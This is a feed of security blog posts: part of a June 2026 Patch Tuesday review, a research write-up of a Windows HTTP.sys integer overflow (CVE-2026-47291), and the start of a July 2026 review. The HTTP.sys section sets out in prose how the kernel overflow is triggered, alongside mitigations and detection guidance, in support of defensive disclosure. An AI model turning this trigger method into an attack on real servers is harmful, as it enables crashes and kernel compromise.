CVE-2026-44802 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44813 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44804 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-48566 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-44814 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45602 Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability Important 9.1 No No 2 Tampering
CVE-2026-42836 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42910 Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42972 Windows Hyper-V Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45592 Windows Internet (wininet.dll) Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42903 Windows Kerberos Denial of Service Vulnerability Important 6.5 No No 3 DoS
CVE-2026-42914 Windows Kerberos Denial of Service Vulnerability Important 5.3 No No 2 DoS
CVE-2026-48583 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45653 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42984 Windows Kernel Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45600 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45604 Windows Managed Installer Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45595 Windows Mark of the Web Security Feature Bypass Vulnerability Important 5.4 No No 2 SFB
CVE-2026-45636 Windows NTFS Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-50508 Windows NTLM Spoofing Vulnerability Important 6.5 No No 1 Spoofing
CVE-2026-48565 Windows Narrator Braille Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44805 Windows Network Controller (NC) Host Agent Denial of Service Vulnerability Important 5.5 No No 3 DoS
CVE-2026-42981 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-42974 Windows Performance Monitor Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45487 Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42828 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42837 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42969 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-42971 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42970 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42973 Windows Push Notification Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42978 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42977 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42979 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-42991 Windows Push Notifications Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45639 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-42908 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.5 No No 2 Info
CVE-2026-45593 Windows SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42906 Windows Shell Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42907 Windows Shell Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47648 Windows Storage Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42915 Windows TCP/IP Denial of Service Vulnerability Important 5.7 No No 2 DoS
CVE-2026-42904 Windows TCP/IP Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-42968 Windows Telephony Server Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-42912 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45597 Windows UI Automation Manager (uiamanager.dll) Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45599 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-45635 Windows UPnP Device Host Remote Code Execution Vulnerability Important 8.1 No No 2 RCE
CVE-2026-40409 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-40404 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42989 Winlogon Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.

Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.

There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be.

Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls.

Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.

There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.

I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.

There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

 

]]> <![CDATA[CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys]]> https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/ https://tsecurity.de/de/3694561/hacking/cve-2026-47291-remote-code-execution-in-the-windows-httpsys/ Sat, 25 Jul 2026 19:02:52 +0200 đŸ•”ïž Hacking tsecurity.de In this excerpt of a TrendAI Research Services vulnerability report, Yazhi Wang and Jonathan Lein of the TrendAI Research team detail a recently patched remote code execution bug in the Windows HTTP protocol stack. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges. The following is a portion of their write-up covering CVE-2026-47291, with a few minimal modifications.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

‱ The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

‱ Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

‱ At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

‱ The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

‱ The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

‱ The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

]]> <![CDATA[The July 2026 Security Update Review]]> https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/ https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/ Sat, 25 Jul 2026 19:02:51 +0200 đŸ•”ïž Hacking tsecurity.de Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for July 2026

Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.

For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-82 Adobe ColdFusion 13 Critical 9.9 No 1
APSB26-73 Adobe Commerce 13 Critical 9.6 No 2
APSB26-78 Adobe After Effects 3 Critical 7.8 No 3
APSB26-83 Adobe Animate 6 Critical 8.6 No 3
APSB26-71 Adobe Audition 6 Critical 7.8 No 3
APSB26-81 Adobe Bridge 6 Critical 7.8 No 3
APSB26-77 Adobe Creative Cloud Desktop Application 2 Critical 8.1 No 3
APSB26-74 Adobe Experience Manager 13 Critical 9.6 No 3
APSB26-79 Adobe Illustrator 5 Critical 9.3 No 3
APSB26-72 Adobe Media Encoder 5 Critical 7.8 No 3
APSB26-76 Adobe Premiere Pro 4 Critical 7.8 No 3
APSB26-80 Content Credentials SDK 12 Critical 8.2 No 3
TOTAL 12 bulletins 88

While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here.

Microsoft Patches for July 2026

Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.

The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.

So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.

-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege Vulnerability
This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.

-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege Vulnerability
The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.

-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.

-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution Vulnerability
This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly.

-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability
This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there.

-    CVE-2026-55008 - Microsoft Exchange Server Spoofing Vulnerability
Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.

-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution Vulnerability
There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.

-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution Vulnerability
Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.

-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability
File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.

Here’s the full list of CVEs released by Microsoft for July 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-56155 Active Directory Federation Services Elevation of Privilege Vulnerability Important 7.8 No Yes EoP
CVE-2026-56164 Microsoft SharePoint Server Elevation of Privilege Vulnerability Moderate 5.3 No Yes EoP
CVE-2026-50661 Windows BitLocker Security Feature Bypass Vulnerability Important 6.1 Yes No SFB
CVE-2026-54121 Active Directory Certificate Services Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-45499 ** Azure OpenAI Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-48564 DHCP Server Service Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-50370 DHCP Server Service Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-56159 DHCP Server Service Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50382 DirectX Graphics Kernel Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41106 ** Microsoft 365 Copilot Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-26145 ** Microsoft Azure Synapse Elevation of Privilege Vulnerability Critical 4.8 No No EoP
CVE-2026-48561 Microsoft Copilot Remote Code Execution Vulnerability Critical 9.6 No No RCE
CVE-2026-55011 Microsoft Defender Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55012 Microsoft Defender Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55944 Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-57100 ** Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-55041 Microsoft Excel Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-54998 ** Microsoft Exchange Online Elevation of Privilege Vulnerability Critical 8.8 No No EoP
CVE-2026-55008 Microsoft Exchange Server Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-54992 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-50314 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50467 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55018 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55022 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55045 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-55049 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55129 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55056 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55140 Microsoft Office Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55043 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55123 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55120 Microsoft PowerPoint Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50522 Microsoft SharePoint Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-58644 Microsoft SharePoint Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-55040 Microsoft SharePoint Server Security Feature Bypass Vulnerability Critical 9.1 No No SFB
CVE-2026-54117 Microsoft SQL Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54118 Microsoft SQL Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-50655 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-56189 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-57090 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57094 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57087 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-57092 Microsoft Windows VMSwitch Elevation of Privilege Vulnerability Critical 9.9 No No EoP
CVE-2026-55033 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55127 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55132 Microsoft Word Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-55010 Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-50474 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-49164 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.1 No No RCE
CVE-2026-54128 Windows DHCP Client Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-50518 Windows DHCP Server Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-49796 Windows GDI+ Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-50380 Windows GDI+ Remote Code Execution Vulnerability Critical 9.6 No No RCE
CVE-2026-54127 Windows Hyper-V Elevation of Privilege Vulnerability Critical 7.4 No No EoP
CVE-2026-50680 Windows Hyper-V Elevation of Privilege Vulnerability Critical 8.2 No No EoP
CVE-2026-50327 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-58542 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-58608 Windows Print Spooler Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-54982 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Critical 8.8 No No RCE
